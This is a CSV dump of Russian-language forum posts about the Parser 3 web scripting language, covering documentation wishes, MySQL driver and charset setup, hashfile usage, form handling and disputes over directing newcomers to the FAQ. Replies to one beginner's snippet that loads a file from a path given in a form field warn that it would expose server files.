"28697","Хоть данный ресурс не призван объяснять технологии интернета, я всеже хочу внести предложение добавить в документацию ссылки на спецификации, их описывающие.\
В первую очередь, на спецификации HTML, CSS, XML, XSL и так далее. Так же не помешал бы любой справочный материал, по почтовым протоколам, базам данных, и по всему, с чем Parser так или иначе пересекается.\
Недостаток информации зачастую порождает глупые вопросы, и как правильно было подмечено, очень часто люди не могут сформулировать вопрос, т.к. они только догадываются о его предмете.\
Самым большим стопором в изучении и популяризации языка считаю сложность в подготовительной работе.\
Ведь судите сами, чтобы начать в домашних условиях что-то пробовать нужно поставить и настроить вуртуальный сервер и базу данных, что не так то просто. Не спорю что есть Денвер, который практически решает все проблемы. Но практически... не означает все, т.к. и по Денверу вопросов задают не мало.\
\
Вывод: либо должна быть еще одна документация о подключении и установке с детальными проработками вопросов, либо это должно включаться в общую. Хотя, как вариант, может быть еще и отдельная ветвь форума.\
\
Сейчас то что все называют документацией, больше похоже на справочник по языку, не более того. В нем изложен сухой четкий и конкретный материал. Многим, включая меня, другого и не требуется, а ведь комуто нехватает художественных слов.\
\
И последнее, вопрос этот уже затрагивался, но развития он так и не получил в силу малости пользователей. Это вопрос печатной продукции. Появится ли бумажная версия документации? \
Сейчас, когда количество зарегистрированных пользователей подходит к тысяче, есть смысл подумать о небольшом тираже. Я бы с удовольствием под рукой держал бумажный экземпляр документации, сколько бы он не стоил. А если бы он был еще снабжен диском, со всем необходимым для установки и кучей примеров, это была бы просто песня, для начинающих.\
\
Вот собственно и все (пусть не коротко) что хотел добавить."
"28698","В примере 4 из parser3.chm на странице Администратора новостей при выполнении\
 команды \"Записать!\" запись не происходит, а в error.log появляется сообщение:\
\
File 'c:\\mysql\\\\share\\charsets\\?.conf' not found (Errcode: 2)\
Character set '#14' is not a compiled character set and is not specified in the\
 'c:\\mysql\\\\share\\charsets\\Index' file"
"28700","Стоит задача - сделать на сайте экспертную систему подбора оборудования. Авторитетный пример в этой области - \"Яндекс.Гуру\". Хочу использовать Parser. \
\
[b]Что дано:[/b]\
\
Набор вершин (вопросов) и взимосвязь между ними. То есть попросту какой-то связный граф. Есть накапливаемые коэффициенты, влияющие на выбор конкретной модели. Коэффициенты присваиваются дугам графа, то есть в зависимости от ветки пути алгоритма.\
\
[b]То решение, которое мне видится:[/b]\
\
Рисую этот граф и делаю набор матриц смежности. Матрицы смежности храню в таблицах Parser. Также храню привязанную к ним таблицу вопросов и коэффициентов. Произвожу путешествие по графу с записью cookies о пройденном пути. В конечных вершинах имею результат.\
\
[b]Откуда сомнения[/b]:\
\
В \"Яндекс.Гуру\" используется XML. Видимо неспроста. Для меня пока это неизученная область. Может подскажете - стоит для решения этой задачи изучить XML/XSLT и если да то какая концепция построения подобной системы с этим механизмом.\
\
Заранее спасибо."
"28703","в 3.1.2 есть опция указания SMTP сервера как и в виндовс"
"28707","Я понял Вашу концепцию.\
Делайте как задумали - получится А ля семантическая сеть.\
А XML - в баню. Это попросту говоря. Хорошее средство для\
разделения труда м/у дизайнером и программистом. Есть у него\
конечно и другие нагрузки - но я не вижу большой перспективы в\
XML, оно никак не повлияет на концептуальную архитектуру, задуманную Вами. Короче мой совет. Забейте на XML, как это сделал\
я в свое время. И Яндекс не всегда авторитетный пример в выборе средств, там знаете в почте перловые скрипты есть, и C кое-что,\
да много чего.\
\
Я вот на парсере написал небольшой движочек, который концептуально делит весь проект на модули, компоненты, и страницы. Каждая html-страница - это по сути каркас для самостоятельных объектов, каждый объект (это может быть меню навигации, шапка, голосование), юзает какие классы, модули. И \
все, собираю на любой странице че угодна, как угодно, обект может например реагировать на параметры передаваемые через форму, т.е. быть динамичиеским - например какое-нить вложенное меню. И все и вбаню XML - все это удовольствие в конечном счете обходится мне дешевле как по времени, так и пожираемым ресурсам на сборку."
"28708","[дата, возможно, важная вещь]\
\
а можно кокретный пример? как ставяться цицирки тут ?\
\
$response:last-modified[13.04.04] ?"
"28710","Товарищи, можно свои пять копеек?\
\
Я считаю что помимо хотя бы поверхностного объяснения базовых принципов веб-программирования (как предложил Юджин) необходимо осветить вопросы подходов «по-уму». Т.е. например, такая-то задача обычно решается так, потому что то-то, а вот такое дело лучше реализовать вот так, потому что вот это.\
\
Ведь Парсер изначально позиционируется как язык для начинающих, везде делается упор на его доступность непрограммистам. А непрограммисту именно таких знаний и не хватает. Для человека, занимавшегося каким-либо языком, а тем более веб-ориентированности эти знания настолько обыденны, что он даже не задумывается, как этого можно не знать/понимать.\
\
И второе, на мой взгляд, недостаточно ясно описаны принципы работы Парсера.\
Подключение классов, глобальные/локальные переменные, принципы работы отдельных алгоритмов (почему хэш хранится так, а таблица так и т.п.). По последнему – опять же, программист эти знания получил при обучении, непрограммист о фундаментальных принципах даже не догадывается.\
В результате на текущий момент мы имеем сбор преданий, верований и былин, блуждающих по форуму.\
Да, можно дойти до всего самому, но на это способны единицы, те, кому это действительно надо, большинству же необходимо чтобы работало, так как он задумал, а не по скрытым закономерностям, и эти люди всё равно будут снова и снова задавать глупые вопросы.\
\
Я одному человеку, который учится на программиста (не веб) уже четыре года «объяснял» Парсер, да он прочитал доку, сделал все примеры, какие-то моменты я ему помог разрешить, но через месяц он с матами забросил свой тестовый сайт, потому как вообще не мог понять идеологию. (видимо после Паскаля и Си это сложно, не знаю)."
"28711","Обязательно ли сохранять полученный через форму файл на диск, чтобы потом создать из него таблицу?"
"28712","...и мне лично ваше предложение нравиться, но вот как мне кажется, с бумажной документацией ничего не получиться, потому как почти каждые 4-5 месяцев выходят новые версии Парсера, и соответственно обновляется документация.\
\
P.S. Сам уже об этом думал, все-таки приятно было бы, чтоб под рукой всегда была книга о Парсере, со всем необходимым, чтобы начать изучать язык, и потом хорошо в нем разбираться.\
\
P.P.S. Туда бы еще и некоторые сообщения из форума вписать, потому как есть такие полезные сообщения, с советами, идеями, которые очень помогают в написании кода, и плюс подкидывают новые идеи."
"28714","В конце концов, большая часть той идеологии, которую здесь продвигает PAF и его последователи описана тем же Йоданом еще в 75-м году."
"28715","Я не программист, начинал с изучения Парсера, на нём и сижу.\
\
[quote]В конце концов, большая часть той идеологии, которую здесь продвигает PAF и его последователи описана тем же Йоданом еще в 75-м году.[/quote]\
Вот я, к примеру, вообще без понятия кто такой Йодан.\
Это удивительно?\
\
Знаю ещё нескольких матёрых программеров.\
Дык они не хотят даже вникать в веб-программирование пока не приспичит, видимо есть на то причина..."
"28717","Не понимаю смысла в бумажной доке:\
Поиска - нет,\
по ключевым словам - не поишешь.\
Обновлений - нет.\
Скопировать нужный код - никак.\
Место в конце концов полезное занимает..."
"28718","Йодан - автор книги \"Структурное проектирование и конструирование программ\" (Techniques of Program Structure and Design).\
\
Там объясняются базовые принципы программирования, часть из них устарела, часть неприменима к Parser, но есть и очень много полезного."
"28719","Это все просто отлично, но что Вы предлагаете?\
\
Найти, купить эту книгу и копаясь в дебрях неприменимых и устаревших тезисов отыскивать то, что применимо к Парсеру?\
Нет.\
\"Для повышения собственной образованности\" - я бы с удовольствием, однако банально некогда этим заниматься, как думаю и тысячам других людей.\
Гораздо полезнее было бы если б разработчики, или товарищи владеющие предметом пояснили эти принципы применительно к  Парсеру.\
Ну это, конечно, в идеале, а чудес - не бывает."
"28721","Однако же - http://www.parser.ru/forum/?id=28684 ?"
"28722","Нет не берусь, ибо не \"владею предметом в должной мере\"."
"28723","да, работает"
"28724","Вот такой вопрос - я сейчас использую в качестве ключей хешфайла имена файлов, которые, естественно, содержат точки. По идее, это должно противоречить синаксису парсера, но слава PAF'у, все работает:\
[code]\
$file_hash[^hashfile::open[/test]]\
\
$key[filen.name.html]\
\
$file_hash.$key[some text]\
\
$file_hash.$key\
[/code]\
\
возвращает [b]some text[/b].\
\
Собственно, сам вопрос - будет ли такой код работать в более новых версиях парсера, или же от такого пожхода нужно отказываться заранее."
"28725","другое дело если вы заотите написать вместо:\
[code]\
$key[filen.name.html]\
\
$file_hash.$key[some text]\
[/code]\
такое:\
[code]\
$file_hash.filen.name.html[some text]\
[/code]\
\
то... это работать не будет, но и там ситуацию можно спаст написав так:\
[code]\
$file_hash.[filen.name.html][some text]\
[/code]"
"28727","Когда-то мне не хватало возможностей предлагаемых парсером (p2). Вместо того, чтобы разбираться в дебрях php и perl (да и люблю все альтернативое) решил попутно изучить еще один язык на букву P - python.\
Купил толстую книжку (около 1000 страниц) за каких-то 250 руб и сейчас вы будете смеятся - все что на сегодняшний день существует в парсере очень толково и детально отображается. Там и ооп и логика и тот самый лукап хеша. Есть даже разжеванный механизм сбора мусора с try-except"
"28730","Сделать возможность фильтровать не только по имени, но и по типу (файл/директория).\
Т.е. чтобы не перебирать потом все через ключи -f или -d, сразу указывать, что именно я хочу получить:\
1. Список всего что есть\
2. Только директории\
3. Только файлы\
\
Надеюсь, что эта возможность когда-нибудь будет реализованна :)\
\
P.S. В любом случае, большое спасибо за технологию."
"28731","У меня стоит ДЕНВЕР, есть сделанная в PHP4 страничка типа телефонного справочника.\
Кстати нет ли у Вас оригинальных текстов программ из книжки Matt zandstra \"PHP4 in 24 Hours\""
"28732","http://www.samspublishing.com/title/0672326191\
http://www.samspublishing.com/content/images/0672326191/downloads/code.zip\
\
P.S. PHP здесь офф-топик."
"28733","Буду приступать к разработке... Касательно второй части сообщения, я так понял вашу мысль, что зачастую в области обработки информации проще и гораздо лучше создать свой личный \"XML\", со своим собственным и индивидульным \"XSLT\". И в принципе работая с Parser я убеждаюсь, что это тот инструмент, который позволит мне реализовать [b]все[/b] идеи обозримого будущего.\
\
Тут правда есть один момент, и это вопрос скорее к [b]PAF[/b]. В ближайшие месяцы собираюсь реализовывать еще одну идею и в ней как ни крути будут необходимы численные итерационные методы. Мат. операций Parser для них хватит, потому что обычно такие задачи уже на бумаге сводятся к операциям арифметики.\
\
Вопрос немного в другом. Когда я будучи студентом решал такие задачи, руководитель добровольно-принудительно переводил нас на Fortran. Объясняя, что именно компилятор Fortran генерит наиболее оптимальный машинный код для таких вычислений. Правда сейчас я слышал руководитель перешел на С++. ;)\
\
Вопрос в том, насколько правильно будет писать процедуры числовых вычислений прямо на Parser? Или все же лучше написать и собрать скрипты на C?"
"28734","> лукап хеша\
\
а по-русски нельзя? чем не устраивает - поиск с использованием хэша, или поиск по хэшу?\
\
> Есть даже разжеванный механизм сбора мусора с try-except\
\
try-except это совсем не механизм сбора мусора, а механизм обработки исключений"
"28735","Всё шо сказал Crypto верно за исключением одного момента - повторное использование кода. Когда у вас парсерные инструкции переплетены с HTML вам никогда не достичь нормального повторного использования, т.к. хошь не хошь но дизайн разных сайтов разный и каждый раз придется делать код методом copy/paste. В случае же с XML вы весь парсерный код можете просто тупо поместить в один каталог и копировать его от проекта к проекту даже не смотря в код (в идеале), нужно лишь знать API вашего произведения.\
\
Короче говоря разделение логики и представления, это [b]всегда[/b] хорошо и лучше это делать хорошими общеупотребительными (стандартными) средствами, нежели чем самопальной системой шаблонов."
"28737","keyword: \"grpunlim\""
"28738","в конце есть индекс всех ключевых слов, с указанием страниц."
"28739","http://dev.mysql.com/doc/mysql/en/Problems_with_character_sets.html\
\
не помогает?"
"28740","если [i]много[/i] циклов и/или глубокая рекурсия, то Parser, с его оптимизацией [b]по скорости[/b] будет использовать много памяти.\
\
что, возможно, будет проблемой.\
в других отношениях проблем нет.\
\
\
на C++ доступен тип комплексных чисел. на Parser нет, и свой такой сделать, чтобы работало ^eval($a+$b) нельзя.\
однако можно ^a.add[$b]\
те же соображения про расход памяти."
"28741","если поставить вопрос так: хранить информацию в базе данных или на локальном диске, то\
\
в обычной простой базе данных вроде MySQL мы вынуждены хранить простые таблицы.\
\
если же заходит речь о локальном диске, то, обычно, подразумевается, что это удобно тем, что «человек просто открывает файлик/файлики и видит, что там, и легко правит это».\
\
разрозненные .cfg файлики с таблицами обычно сильно менее понятны,\
чем можно сделать XML."
"28743","не будет ли достаточно?\
\
если нет, напишите код, как вам кажется удобнее пользоваться?"
"28744","Ну, Александр, это не совсем равноценные вещи, всё же.\
Электронный вариант гораздо удобнее в поиске, это не руками копаться.\
Хотя, оно, конечно, кому как."
"28746","и перестаёт заниматься copy/paste.\
\
поэтому в одной главе написано про имена,\
в другой про хеш.\
\
сложить два и два оставляется в качестве упражнения."
"28747","http://www.parser.ru/docs/lang/mathabssign.htm\
http://www.parser.ru/docs/lang/mathtruncfrac.htm\
\
В примерах заменить $ на ^"
"28748","Не получается работать с сабжем. Уже и с сайта драйверставили и сами компилили, пишет:\
\
driver failed to initialize client library 'libmysqlclient.so', can not open the dynamic link module"
"28750","Я сразу нашёл ответ на ваш вопрос\
\
ps ищите снизу"
"28751","Александр, при чём тут copy/paste?..\
То ли я совсем того уже, толи лыжи не едут, однако в документации я про [] в именах ничего не вижу.\
{} - есть,\
результат работы кода - есть,\
[] - нет.\
\
Глава \"Переменные\" я Вас правильно понял?"
"28752","выложу со следующей сборкой"
"28754","последний абзац.\
\
я даже включил там один комментарий посетителя :)"
"28755","Чтобы при очередном обновлении .chm было хоть какое-то соответствие между online версией и offline."
"28756","Эмм..\
Я-то chm-версия читаю, а там этого нема...\
\
Ну и насчёт логики \"результат работы кода\" -> \"имя сторонней переменной\", это конечно доходишь не сходу, не сходу..."
"28758","Не помогло. Прописал полный путь. Бестолку."
"28759","Как его получать-устанавливать?\
Требуется новую новость добавлять наверх, а не вниз. Если новость редактируется, то остается на той же позиции в списке."
"28760","Что означает эта ошибка?\
(Parser/3.1.2)"
"28761","А вообще, ключевое слово Before... С ним ищем в доке и RTFMим."
"28763","вдруг вам удастся воспроизводимый bug.zip мне прислать?\
слёзы."
"28764","А какая разница если каталоги будут идти вперёд?\
Ведь не знаешь сколько там каталогов…\
\
Может так:[code]\
^file:list[путь;фильтр;key]\
\
key=files_only | dirs_only\
[/code]\
Таким образом получается: если без ключа то все вместе удовлетворяющие фильтру, если с ключом, то файлы или каталоги с фильтром. Фильтр опускаем тогда: все что есть, но в зависимости от ключа."
"28765","Скачал джент. набор. Установил. Все потестил - работает. Начал писать по докам первый урок (навигацию). Создал папку для тестов /home/parser/www\
Туда положил файлы auto.p, sections.cfg, index.htm\
Тестирую. Index грузится, по в нем отображается текстом ^navigation[]\
Что у меня с парсером??? И как настроить. Поможите люди добрые!!!"
"28767","Как можно получить названия таблиц базы данных? (А также размер, тип строк и прочее : )"
"28768","SHOW TABLE STATUS"
"28770","В справке покопался - не нашел... А так не понимаю."
"28773","Тов. Luzhnikovskiy послал меня в FAQ. Я понимаю, RTFM, все дела... но где НОВИЧКУ почитать что куда (я о парсере) должно быть скопировано, какие файлы где и для чего. Я Апач 1-й раз вижу!!!! Пришел поучиться - помощи ноль!!! Осмелюсь напомнить проблема следующая:\
Скачал джент. набор. Установил. Все потестил - работает. Начал писать по докам первый урок (навигацию). Создал папку для тестов /home/parser/www\
Туда положил файлы auto.p, sections.cfg, index.htm\
Тестирую. Index грузится, по в нем отображается текстом ^navigation[]"
"28774","даже если это и офф-топ ;)"
"28777","> а по-русски нельзя? чем не устраивает - поиск с использованием хэша, или поиск по хэшу?\
\
Нормальный русский американизм :) \
Не встречал еще таких людей которые говорят: я отошлю тебе короткое текстовое сообщение, вместо скину эсэмэс ;]\
\
\
> Есть даже разжеванный механизм сбора мусора с try-except\
Пишу \"с\", подразумеваю \"и\""
"28778","Подскажите пожалуйста! Как привязать папку к html-документу"
"28779","Предположим есть страница 1.html, на которой размещена форма для ввода постинга на форум. У формы прописан action -- 2.html. Страница номер 2 вставляет постинг в базу и делает редирект (в хэдере) назад на страницу 1. Это делается для того, чтобы если посетитель нажмет RELOAD, бразуер не спрашивал у него, что делать с \"post information\" и не пытался перезаслать данные.\
\
Предположим, в процессе обработки постинга обнаружилась ошибка (например, пароль не тот). Хочется в ответ показать снова 1.html с заполненными полями формы и предложить ввести пароль еще раз. Но при моей схеме поля формы никак не могут быть известны во время повторной загрузки 1.html -- они пропали внутри 2.html.\
\
Проблему можно обходить по-разному. Какой самый элегантный/правильный способ? А может быть, можно вообще обойтись без 2.html? Но как тогда быть с проблемой перезасылания данных при релоаде?\
\
Спасибо."
"28780","Можно редирект с 2.хтмл на 1.хтмл делать с параметрами. Один из параметров будет давать успешность/не успешность обработки данных. А 1.хтмл должна смотреть что пришло в параметрах и соответственно реагировать на окончание операции."
"28781","С помощью GET'а? Ошибку так передать можно, действительно, но сам текст постинга передавать GET'ом -- затруднительно. А как иначе делать редирект с параметрами?"
"28782","1.html?error=1&input1=aaa&input2=bbb...&inputz=zzz - ошибка, 1.html должна вывести форму со значениями параметров и указать пользователю на ошибку\
\
Если всё хорошо и обработка прошла успешно, то:\
\
1.html?error=0 или вообще возврат без параметров."
"28783","и, в случае если ошибки не обнаружено, делать \
$response:location[http://${env:SERVER_NAME}$request:uri]."
"28784","Судя по всему моя проблема в том, что не указано в ПАРСЕР - программе (моей)путь до CHARSET. а я еще не знаю как..."
"28788","http://thj.astrakhan.ru/history/admin/add/article/"
"28789","Появится ли в  будущем возможность хранить в hashfile не только строку, но и hash of hash?"
"28790","Перенес с домашнего компьютера файлы таблиц базы данных на работу, (все работало нормально),, а как переписал (все на локале), стала выдаваться ошибка\
\
[Thu Apr 15 11:01:46 2004] /: z:/home/wrest/www/auto.p(254): 'select |       id, date, header, shortbody, images  |   from |      news  |   order by id desc|   ' Got error 134 from table handler [sql.execute]\
\
что это такое? Заранее спасибо"
"28791","Cортировка по типу, конечно, лишней не будет, но, в случае если будет возможность выбирать [i]только[/i] каталоги или [i]только[/i] файлы, можно будет легко без нее обойтись.\
В плане использования - согласен с Temp:\
добавить необязательный ключ (f|d)\
[code]\
^file:list[/path;reg_exp_filter;key]\
[/code]\
будет вполне разумным ;)\
\
P.S. более продвинутое фильрование только отложит другие более ожидаемые нами нововедения :))) Еще раз спасибо за P^3"
"28793","http://dev.mysql.com/doc/mysql/en/DESCRIBE.html"
"28794","пойдите и почитайте?\
или вы настаиваете на copy/paste оттуда в форум?"
"28795","вы сообщение об ошибке получили от... sql сервера.\
сам sql сервер не нашёл какой-то своей запчасти. к этому parser не имеет отношения.\
\
вы пришли в форум за советом, его видно в заголовке моего ответа. вы этот совет как использовали?"
"28796","дело в том, что hash of hash может содержать, в общем виде, ещё что-то. скажем, ссылку на пользовательский класс.\
\
серилизовать/десерилизовывать я могу поэлементно, но это будет медленно и, вероятно, неправильно.\
можно в духе интерфейса Serializable других языков программирования, но пока необходимости в том не вижу.\
\
для простых случаев(hash of hash of string): можно.\
приму разумный patch."
"28798","сейчас при записи нового ключа/значения или изменении значения старого значения делается абсолютный минимум дисковых операций.\
\
используемая простая библиотека [b]не[/b] поддерживает более сложных вещей.\
\
поэтому тривиальная реализация hash1 of hash2 of string в виде hash2 of string->some bytes, и записать их под ключом в hash1 будет быстро, но достать/поправить оттуда/там быстро не удастся, придётся сначала достать вссе some bytes, потом развернуть их в памяти, потом поправить, потом свернуть, потом записать.\
\
так не пойдёт.\
отдельным письмом простая идея, как сделать на parser."
"28800","[code]\
@CLASS\
hashfile2\
\
@open[name]\
$hahsfile[^hashfile::open[$name]]\
\
@put[key1;key2;value]\
$hashfile.[$key1 $key2][$value]\
\
@get[key1;key2]\
$hashfile.[$key1 $key2]\
[/code]\
\
и пользоваться:\
[code]\
$h2[^hashfile2::open[test]]\
^h2.put[a;1;значение1]\
^h2.put[a;2;значение2]\
^h2.get[a;2]\
[/code]"
"28801","Опечатка:\
[code]\
@open[name]\
#было $hahsfile[^hashfile::open[$name]]\
$hashfile[^hashfile::open[$name]]\
[/code]"
"28802","всетаки я слегка зациклен на PHP жаль что о Parsere узнал так позно, тяжело переходить. Так вопрос тех же переменных остается не открытым для меня :(\
\
На сколько Я понял переменные в Parser все глобальные, так переменная которую я временно использую в \"методе\" (функции типа) становится доступна и извне. Та же ситуация наблюдается и в классах нет внутренних переменных хотя есть нечто вроде ^self. (на сколько я могу понять прототип $this. в PHP).\
\
Т.е. все евто становится с одной стороны до боли прозрачным с другой тремует массу памяти и лешает реального смыла в существовании классов в Parsere, т.к. можно обойтись одними методами. Если я чето неправильно понял или что то подобное посоветуйте, объясните ..."
"28803","@ваш_метод[параметры][локальные_переменные]"
"28804","Извините, но я читал не он-лайн документацию, а скачанный .chm и там не нашел. на диал-апе не начитаешься онлайн"
"28805","Если и это не поможет, то проверьте, что обработчик соответствует расширению вашего файла. Например обработчик настроен для .html, а у вас .htm\
\
2 PAF: Может это добавить в FAQ? Для тех, кто его читает :)"
"28807","пожалуйста, спокойно продолжайте вникать,\
во всём разберётесь.\
\
если вы думаете, что класс, это набор методов и только, то вы просто ошибаетесь."
"28809","форум вы как-то читаете, ведь?\
\
вопрос закрыт."
"28810","… http://www.parser.ru/faq/ «Я в браузере вижу код на Parser, он не обработался, в чем может быть причина (использую веб-сервер Apache)?»."
"28811","кто внимательно читает, такой ошибки не допустит.\
кто читает через строчку в клеточку по диагонали с закрытыми глазами, ему всё равно не поможет."
"28812","Это неправильно драйвер установили или неправильно написана строка подключения?"
"28814","Пользователь сам выбирает нужный файл и прикрепляет его.\
[code]$.file[^file::load[binary;$form:file]][/code]\
\
$form:file - это переменная, которая подставляет адрес файла с жёсткого диска."
"28815","у вас разве нет файлов, которые вы бы не хотели, чтобы у вас скачали?"
"28817","хакир ведь может всё ваше программное обеспечение из сервера выкачать, через этот любезно предоставленный вами \"веб-интерфейс\"...\
\
http://www.parser.ru/forum/?id=2179"
"28818","Возникает ошибка с доступом к MySQL. Строка подключения такая:\
[code]\
$connect_string[mysql://sloc@localhost:3306/sloc]\
[/code]\
http://www.sloc.ru/doctors/"
"28819","Почему вы всегда куда-нибудь посылаете?"
"28821","http://www.parser.ru/forum/?id=26651\
http://www.parser.ru/forum/?id=5340\
http://www.parser.ru/forum/?id=3873\
http://www.parser.ru/forum/?id=1308"
"28822","[code]\
\
@conf[filespec]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql lib/libparser3mysql.so libparser3mysql.so\
\
}]\
]\
\
[/code]\
\
Что здесь не так?"
"28823","mysql lib/libparser3mysql.so libparser3mysql.so\
\
Путь 'lib/libparser3mysql.so' не правильный. Он у Вас \"относительный\" - от текущего каталога считается. А надо бы \"абсолютный\". Типа: /home/htdocs/<путь в корень>/cgi-bin/lib/libparser3mysql.so ну или что-то подобное."
"28824","Посмотрите ошибку на http://www.sloc.ru/about/\
В auto.p написал:\
[code]\
@conf[]\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql /M/www/sloc/cgi-bin/lib/libparser3mysql.so libparser3mysql.so\
\
}]\
]\
[/code]\
Атрибуты вроде правильные поставил. Сервер работает на FreeBSD."
"28825","может вас не очень правильно поняли ввиду туманной формулировки и вы хотите реализовать механизм, с помощью которого посетитель сайта может с помощью предлагаемой вами формы отправить письмо со [b]своим[/b] файлом, локальный путь к которому он указал с помощью <input type=\"file\"/>?\
\
если вам нужно было именно это, то:\
http://www.parser.ru/docs/lang/formfield.htm где вместо сохранение файла, пришедшего из формы, нужно отправить его письмом.\
\
P.S. когда вы что-то сделали, и оно не работает, не забывайте рассказывать, что именно вы сделали путем размещения необхрддимого куска вашего кода."
"28826","он в состоянии показать большинство частовстречающихся ошибок..."
"28827","ПАФ (и не только он) считает, что если ответ на вопрос имеется в документации, ФАК-е и кроме того уже не раз обсуждался в этом форуме, значит очередной посетитель, задающий подобный вопрос не читал ни документацию, ни ФАК, ни пользовался поиском по форуму перед публикацией вопроса.\
\
в таком случае стОит намекнуть этому посетителю, что пришла пора обратится таки к документации: глядишь он кроме ответа на этот вопрос найдет ещё кучу полезной информации по парсеру."
"28828","http://www.parser.ru/f/1/download/utils/test.zip"
"28829","1.html:\
\
[code]\
$is_show_form(1)\
^if(def $form:do){\
  ^if(заполнены все обязательные поля){\
    $is_show_form(0)\
    ... добавляем в БД, отправляем письмом... в общем делаем что нужно...\
    ^rem{ ну и делаем внешний редирект на себя, чтобы защититься от Reload }\
    ^rem{ правда от Back все равно таким образом не защититься }\
    $response:location[http://${env:SERVER_NAME}$request:uri]\
  }{\
    <p>Не заполнены обязательные поля формы.</p>\
  }\
}\
^if($is_show_form){\
  <form ^rem{ тут method, action, enctype... }>\
    <input type=\"hidden\" name=\"do\" value=\"do\" />\
    Ваше имя:<br />\
    <input type=\"text\" name=\"name\" value=\"$form:name\" /><br />\
    E-mail:<br />\
    <input type=\"text\" name=\"email\" value=\"$form:email\" /><br />\
    <input type=\"submit\" name=\"action\" value=\"Отправить\" />\
  </form>\
}\
[/code]"
"28830","http://www.sloc.ru/_test.html :\
[code]\
change_case_UTF8 error: end pointers do not match\
\
upper\
[/code]\
\
- не знаю что это может означать."
"28831","\"...Parser — это технология создания сайтов с помощью простого языка. Он немного сложнее HTML, но не требует особенного умения программировать...\"\
\
\"...На Parser могут работать далеко не профессиональные программисты. Parser именно тем и хорош, что позволяет простым смертным создавать и поддерживать сложные динамические сайты без больших затрат времени...\"\
\
Раз на первой странице сайта висит подобная декларация, то следует ожидать, что каждый \"вновь сюда пришедший\" имеет право не знать ни нюансов работы Apacha, ни что такое \"права\" и как обращаться со скриптами. Про базы вообще молчу :) Обязан только разбираться в разметке html и уметь работать с FTP. И на первых порах наверное вполне обосновано рассчитывает на поддержку местных обитателей по всем вопросам сложнее html и ftp.\
\
Иллюстация: дверь, над ней табличка \"Добро пожаловать\". Нажимаем кнопку звонка, ждём. Из-за двери: -\"Пшел на faq!\" 8-О\
\
Не логично как-то. Я когда тут первый раз появился - тоже ничего не знал кроме FrontPage и ftp. Но тогда тут так сразу с порога не шпыняли :/ А то бы ушёл на PHP :)\
\
P.S. А PAF'а вообще пора в отпуск выслать из страны! Без права пользования ноутбуком, мобилой, да и часы, имхо, следовало бы отобрать. Никакой техники! Оставить только шорты и пляжное полотенце. Регулярные выражения заменить на время отпуска нерегулярными, беспорядочными связями ;)\
\
"
"28832","Уже сделал:\
http://www.sloc.ru/_test.html\
\
Кстати, хостинг не мой."
"28833","Антон. Не зря предлагают воспользоваться поиском по сайту. Вопрос с \"change_case_UTF8 error: end pointers do not match\" уже обсуждался тут, разумеется. Попробуйте в дальнейшем ошибки типа \"change_case_UTF8 error: end pointers do not match\" вставлять в \"строку поиска\" и посмотреть треды которые выдаются. Получится гораздо быстрее, чем ждать ответа кого-нибудь из местных обитателей.\
\
А основное вы сделали уже - парсер у вас на сайте заработал. Осталось чуть-чуть и вас можно будет поздравить :)"
"28834","[code]@feedback[]\
^if(def $form:send){\
	^mail:send[\
		$.from[$form:name <$form:from>]\
		$.to[Admin <admin@localhost]\
		$.subject[$form:subject]\
		$.text[$form:text]\
		$.file[^file::load[binary;[b]Вот здесь у меня и проблема[/b]]\
	]\
}{\
	Код формы\
}[/code]"
"28835","Написал в auto.p:\
\
[code]\
\
@conf[]\
\
$charsetsdir[/M/www/sloc/cgi-bin/charsets]\
$sqldriversdir[/M/www/sloc/cgi-bin/lib]\
\
\
$CHARSETS[\
    $.koi8-r[$charsetsdir/koi8-r.cfg]\
#    $.windows-1250[$charsetsdir/windows-1250.cfg]\
    $.windows-1251[$charsetsdir/windows-1251.cfg]\
#    $.windows-1257[$charsetsdir/windows-1257.cfg]\
]\
 \
\
$SQL[\
	$.drivers[^table::set{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	libmysqlclient.so\
}]\
]\
\
[/code]\
\
Самое смешное - сайт готов, у меня (на денвере) все работает - вожусь с хостингом..."
"28836","...в файле auto.p, который лежит возле parser3.cgi, у вас заданы?\
\
===\
@auto[]\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
...\
==="
"28837","Вам удалось!\
\
Дальше всё будет гораздо проще. Не стесняйтесь задавать вопросы если не найдёте ответов в документации и поиском по форуму ;)\
\
Спокойно ночи всем! ;)"
"28839","[quot]\
На Parser могут работать далеко не профессиональные [b]программисты[/b]\
[/quot]\
\
про кого угодно вновь сюда пришедшего тут ни слова. кроме того, нигде не написано, что для этого можно не уметь думать (кстати, надо дописать...)\
\
[quot]\
каждый \"вновь сюда пришедший\" имеет право не знать ни нюансов работы Apacha, ни что такое \"права\" и как обращаться со скриптами.\
[/quot]\
\
имеет право. но ему показывают какую книжку нужно взять и читать. но он имеет право не читать то, что ему рекомендуют, а также может развернуться и уйти. ещё может обидется, покрыть нас матюками или делать иные гадости. или начать читать доку, ФАК, искать ответ на свой вопрос перед постингом. в общем полная свобода выбора.\
\
[quot]\
И на первых порах наверное вполне обосновано рассчитывает на поддержку местных обитателей\
[/quot]\
\
пусть расчитывает. только если я по вопросам вижу что он расчитывает, что раз есть парсер, то ему можно пальцем о палец не ударять, а уж инструкции и подвано не читать, то лично я сдерживаю себя, чтобы сразу не послать подальше ФАК-а, потому что... ну что я объясняю, вы и так всё знаете...\
\
[quot]\
Иллюстация: дверь, над ней табличка \"Добро пожаловать\". Нажимаем кнопку звонка, ждём. Из-за двери: -\"Пшел на faq!\" 8-О\
[/quot]\
\
мое представление: на двери табличка: \"Добро пожаловать в библиотеку\". Заходят и... \"А... тут ещё и читать/изучать что-то надо?\"...\
\
помните мультик, где были двое из ларца, одинаковых с лица?...\
\
[quot]\
Не логично как-то. Я когда тут первый раз появился - тоже ничего не знал кроме FrontPage и ftp. Но тогда тут так сразу с порога не шпыняли :/ А то бы ушёл на PHP :)\
[/quot]\
\
щас специально посмотрел ваши первые вопросы... если вы забыли, посмотрите и вы на них ещё раз, и посмотрите на те вопросы, с которыми мы посылаем в FAQ :)\
\
Вот к примеру [url=\"/forum/?id=11470\"]третий[/url] найденный ваш вопрос. (хотя может вы и раньше были, но под другим логином и тогда отрывались...)"
"28840","с ним было-бы гораздо легче понять, что-же такое таинственное приходит вам в этом самом $form:file...\
\
